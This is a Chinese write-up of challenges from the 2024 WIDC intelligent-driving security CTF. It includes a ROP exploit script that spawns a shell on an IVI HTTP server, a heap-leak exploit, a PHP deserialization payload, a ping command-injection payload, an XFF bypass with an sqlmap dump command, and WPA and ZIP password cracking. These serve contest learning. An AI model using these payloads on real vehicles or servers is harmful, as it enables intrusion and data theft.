【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

WriteUp 2周前 admin
24 0 0

 01   VehicleAPP

一个带有智能汽车远程控制的APP应用程序,能够通过它来发动汽车

(1)获取链接

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛
(2)
获取IPA

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(3)逆向

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(4)存在pin码认证

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(5)交叉应用找验证函数

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(6)获取全局变量

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(7)调用获取flag

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(8)逐段分析,验证长度

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

 02   IVIServer

IVI开启了一个httpserver

from pwn import *

context.log_level=’debug’

context.binary=ELF(‘./server’)

elf=ELF(‘./server’)

libc=ELF(‘./libc-2.31.so’)

SOCKFD = 4

def get(payload):

global p

p = remote(‘127.0.0.1’, 9080)

py=flat({

0:b’GET /’,

255: b’r’,

0x138:[

payload

],

},filler=b’x00′)

p.send(py+b’rn’)

rop=ROP(elf)

rop.http_response(4,elf.got[‘write’])

get(rop.chain())

p.recvuntil(b'</html>nHTTP/1.1′)

libcbase=u64(p.recvline().strip().ljust(8,b’x00′))- libc.symbols[‘write’]

success(hex(libcbase))

libc.address=libcbase

rop = ROP(libc)

rop.dup2(SOCKFD, 0)

rop.dup2(SOCKFD, 1)

rop.dup2(SOCKFD, 2)

rop.system(next(libc.search(b’/bin/sh’)))

get(rop.chain())

p.recvuntil(b'</html>n’)

p.interactive()

 03   BabyMain

一个石子引发的事故

from ptrlib import *

from tqdm import tqdm

libc = ELF(“./libc-2.31.so”)

sock = Socket(“172.10.0.20”, 9003)

# 1. Leak heap address

# Prepare libc address on heap

for i in range(4):

sock.sendlineafter(“> “, “1”)

sock.sendlineafter(“index: “, str(i))

# Overwrite saved rbp of main function frame

sock.sendlineafter(“> “, “1”)

sock.sendlineafter(“index: “, “6”)

# Poison null byte to argv[0] and return address of main

sock.sendlineafter(“> “, “2”)

sock.sendlineafter(“index: “, b”9″ + b”” * (0x50 – 1))

sock.sendlineafter(“data: “, “”)

# Fill NULL

ok = []

logger.info(“Filling NULL bytes…”)

for i in tqdm(range(0x20, 0x1000)):

sock.sendlineafter(“> “, “1”)

sock.sendlineafter(“index: “, str(i))

ok.append(b’done’ in sock.recvline())

if len(ok) > 10 and all(ok[-10:-1]) and not ok[-1]:

break

# argv[0] leak

sock.sendlineafter(“> “, “-1”)

addr_heap = u64(sock.recvlineafter(“transferring control: “))

logger.info(“heap = ” + hex(addr_heap))

# 2. Leak libc address

for offset in tqdm(range(0x20, 0x1000)):

# Prepare libc address on heap

for i in range(4):

sock.sendlineafter(“> “, “1”)

sock.sendlineafter(“index: “, str(i))

# Overwrite argv[0] and poison null byte to return address of main

if b’n’ not in p64(addr_heap – 0x810 * offset):

sock.sendlineafter(“> “, “2”)

sock.sendlineafter(“index: “, “9”)

sock.sendlineafter(“data: “, p64(addr_heap – 0x810 * offset))

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

 04   不安全的车企内网

通过对控车APP的分析,发现一个关键的API

(1)登录目标地址

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(2)Burpsuite监听并转发请求

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(3)user字段SSTI漏洞测试,存在漏洞

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(4)根据提示读取flag

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

  05   不安全的TSP平台

通过不安全的TSP平台获取关键数据

(1.1)admin,admin登录

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(1.2)提示IP,不是管理员IP

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(1.3)是XFF,使用Burp

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(1.4)XFF之后,有个302跳转

跳转到/check.php?data=dXNlcjphZG1pbnxwYXNzOmFkbWlu

(1.5)后面的base64内容为:user:admin|pass:admin

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

可以尝试手注,但也可以试试sqlmap

(2.1)先burp抓包数据包

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(2.2)这里是已经附带xff的!查询到数据库中的库有这些

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(2.3)sqlmap语句为sqlmap -r 桌面/tsp-attack.txt -D sql –dump

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

 06   升级认证平台

OTA升级认证平台存在一些问题


(1)观察到网站看到edit by phpstorm

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(2)找到phpstorm工作区(/.idea/workspace.xml)泄露文件名有PPlab.php 还有trueflag.php

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(3)访问trueflag.php发现是空白页

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

访问PPlab.php,提示只能本地访问

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(4)抓包,x-forwarded-for 绕过,然后再User-Agent伪造浏览器

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(5)查看到源码,可以通过反序列化读文件

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(6)构造序列读取trueflag.php O:4:”show”:1:{s:8:”filename”;s:12:”trueflag.php”;}

  07   ping出强大

开发人员在车机内留下一个用于检测车内网络连接的测试页面,是ping,但不仅仅是ping

(1)扫描端口,查看入口地址

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(2)找到入口地址172.10.0.15:49153/index.php

(3)简单的命令执行:双写加%0截断:ip=1.1.1.1%0acacatt flflagag.php

 08   TBOX流量分析

监听到了一段流量,里面有什么秘密?

(1)使用wireshark打开提供的流量包,这里发现传输了一个subject.zip的压缩包

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(2)使用wireshark导出这个ZIP压缩包

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(3)打开压缩包,解压得道这两个文件

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(4)打开flag.zip发现存在加密

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(5)查看压缩包的内容,有一个flag的txt和right.txt

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(6)打开图片未发现有效信息

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(7)使用010 editor查看图片,发现在图片后面存在一个不完整的压缩包

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(8)在这个两个地方分别插入两个字节,导出最后面的压缩包

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(9)解压得到一个flag.txt,发现这个flag.txt与加密包中的CRC32一样

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(10)猜测需要明文攻击破解压缩包,使用bkcrack尝试破解压缩包,得到密钥

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(11)使用这个密钥生成密码为1234的flag2.zip

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(12)解压flag2.zip得到flag

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛


 09   汽车算法逆向解密

智能汽车中有常见的AES加密算法,你能解开吗?

from base64 import b64decode

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

from cryptography.hazmat.backends import default_backend

import chardet

# Decode the base64-encoded key and initialization vector

key_b64 = “7TapLcNbP8TqDWzwJElihy0TAFL/JCk7QZKtcuUKIvE=”

iv_b64 = “Y64sxLZOyy0BSdBXsbzE/g==”

key = b64decode(key_b64)

iv = b64decode(iv_b64)

# Decode the base64-encoded ciphertext

ciphertext_b64 = (

“w61n0tWJKuyNjBN7rX8Bx/X2hcgpYCwhmCvaYSy3Omqk1Uj1RH9NtYi66a”

)

ciphertext = b64decode(ciphertext_b64)

# Create a cipher object using the AES algorithm and CBC mode

backend = default_backend()

cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend)

# Decrypt the ciphertext

decryptor = cipher.decryptor()

plaintext = decryptor.update(ciphertext) + decryptor.finalize()

# Detect the encoding of the plaintext

detected_encoding = chardet.detect(plaintext)[‘encoding’]

# Print the plaintext if encoding is detected, otherwise print an error message

if detected_encoding:

print(“明文:”, plaintext.decode(detected_encoding))

else:

print(“gg”)

 10   升级事件

我将ota升级包日志发送了,请分析

题目描述:知道车辆的ota升级包通过wifi传输有什么风险吗?

Flag:flag{6d8f21332d086ab13b6d87dacc6e41be}

(1)题目为ota.cap文件,解析后发现http传输OTA.zip升级包

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(2)提取OTA.zip包,并使用弱口令123456解压升级包后为OTA.cap文件

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(3)使用wireshark打开发现802.11协议,为wifi协议,根据协议查找ssid为“wifi”

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(4)发现包内存在eapol,此协议为wifi握手协议

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(5)通过aircrack-ng破解wifi密码为root12222弱口令

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(6)由ssid:wifi和密码:root12222,生成PSK,用于解密空口wifi包内容(使用如下网址生成PSK https://www.wireshark.org/tools/wpa-psk.html)

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(7)Wireshark内导入生成的PSK,获取tcp流量,发现存在9999端口通信

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(8)分析内容,发现重复发送数据,导出数据至二进制编辑工具

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(9)分析发现为压缩包文件,尝试打开,存在口令,此处为弱口令“123”解压出文件如下

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(10)Winhex分析发现存在base64(url:https://www.qqxiuzi.cn/bianma/base64.htm)编码并再次16进制转字符串(url:https://www.sojson.com/hexadecimal.html),解码得flag

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛


【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

 11 =key_of_car

找到钥匙即可把车开走

(1)010editor打开文件,发现是图片文件

(2)文件末尾发现加了字符串:sh5f12etzy6ytn8olpts00n8op7qoo3787qkc3trpbolryybj

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(3)通过题目名称key_of_car,进行搜索

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(4)得到key为rot13,然后把字符串进行rot13解码得到flag:fu5s12rgml6lga8bycgf00a8bc7dbb3787dxp3gecobyellow

 12   车机播放《偷心》的BUG

车机的歌词页面在播放《偷心》时每次都无法切换,检查一下心里藏了什么

(1)根据key提示,九莲宝灯,推测解压密码1112345678999

(2)解压之后得到

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(3)根据key.jpg图片,判断des加密,但是没有密钥

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(4)返回上一级一个偷心.html,查看源码,发现存在rgb,根据题目及压缩文件名,提取中间数字作为密钥,得到:99911598759879991198108109

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(5)使用解密解密工具,将解压出来的flag.txt使用DES解密,再将编码转换为图片,得到一张二维码,扫码得到flag.

【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

(6)flag{f7sgu2lsagbgfa90f63dc8b6e0e2Kg2lVW}

                                                                  

WriteUP系列将持续更新,敬请关注护车行动!

原文始发于微信公众号(护车行动):【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛

版权声明:admin 发表于 2024年6月7日 下午5:13。
转载请注明:【WriteUP·中篇】2024WIDC世界智能驾驶挑战赛“天融信杯”信息安全攻防赛 | CTF导航

相关文章